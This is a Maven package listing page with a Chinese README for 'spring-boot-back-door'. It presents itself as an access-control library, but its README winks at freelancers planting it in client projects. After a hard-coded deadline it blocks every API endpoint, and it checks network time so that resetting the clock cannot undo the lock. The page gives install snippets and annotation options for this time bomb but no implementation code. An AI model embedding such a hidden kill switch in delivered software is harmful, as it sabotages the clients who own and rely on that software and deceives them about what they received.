spring-boot-back-door

spring-boot 项目安全控制,接私活利器(你懂的)

License

License

MIT
Categories

Categories

Spring Boot Container Microservices
GroupId

GroupId

pro.topme
ArtifactId

ArtifactId

spring-boot-back-door
Last Version

Last Version

1.0.1
Release Date

Release Date

Type

Type

jar
Description

Description

spring-boot-back-door
spring-boot 项目安全控制,接私活利器(你懂的)
Project URL

Project URL

https://github.com/xujakai/spring-boot-back-door
Source Code Management

Source Code Management

https://github.com/xujakai/spring-boot-back-door.git

Download spring-boot-back-door

How to add to project

<!-- https://jarcasting.com/artifacts/pro.topme/spring-boot-back-door/ -->
<dependency>
    <groupId>pro.topme</groupId>
    <artifactId>spring-boot-back-door</artifactId>
    <version>1.0.1</version>
</dependency>
// https://jarcasting.com/artifacts/pro.topme/spring-boot-back-door/
implementation 'pro.topme:spring-boot-back-door:1.0.1'
// https://jarcasting.com/artifacts/pro.topme/spring-boot-back-door/
implementation ("pro.topme:spring-boot-back-door:1.0.1")
'pro.topme:spring-boot-back-door:jar:1.0.1'
<dependency org="pro.topme" name="spring-boot-back-door" rev="1.0.1">
  <artifact name="spring-boot-back-door" type="jar" />
</dependency>
@Grapes(
@Grab(group='pro.topme', module='spring-boot-back-door', version='1.0.1')
)
libraryDependencies += "pro.topme" % "spring-boot-back-door" % "1.0.1"
[pro.topme/spring-boot-back-door "1.0.1"]

Dependencies

compile (3)

Group / Artifact Type Version
org.springframework.boot : spring-boot-starter-web jar 2.1.4.RELEASE
org.springframework.boot : spring-boot-starter-data-redis jar 2.1.4.RELEASE
org.aspectj : aspectjweaver jar 1.9.2

provided (1)

Group / Artifact Type Version
org.projectlombok : lombok jar 1.16.18

Project Modules

There are no modules declared in this project.

spring-boot-back-door

github star


简介

spring-boot 项目安全控制,接私活利器(你懂的)。本项目适用于spring boot的接口访问控制,以注解的形式在最短时间内为项目加入安全控制,专门应对项目部署后的违约行为。

在网络接通的情况下优先获取网络时间,如网络不通或恶意修改本机时间,可立即关闭接口

用法

maven引入

<dependency>
    <groupId>pro.topme</groupId>
    <artifactId>spring-boot-back-door</artifactId>
    <version>1.0.1</version>
</dependency>

以注解的方式快速接入(你懂的)

@EnableSpringBootBackDoor(value = 1575129600000L)

可选项

/** * 截止日期时间戳,在指定时间戳内允许访问接口 * * @return */
long value();
/** * 是否强制项目联网 * * @return */
boolean mustBeNetworked() default false;
/** * 判断是否联网地址,暂不可使用域名形式 * * @return */
String remoteAddress() default "8.8.8.8";
/** * 获取网络时间地址 * * @return */
String timeAddress() default "http://www.ntsc.ac.cn";
/** * 默认拦截接口 * * @return */
String[] interceptorPaths() default "/**";
/** * 校验是否允许访问定时器 * * @return */
String cron() default "0 * * * * ? ";
/** * 拦截后自定义返回信息 * * @return */
String message() default "<pre>The specified service is not currently available.</pre>";
/** * 临时文件名 * * @return */
String fileName() default "open.api.ini";

后续开发计划

加入控制接口,可不修改代码关闭访问限制

Versions

Version
1.0.1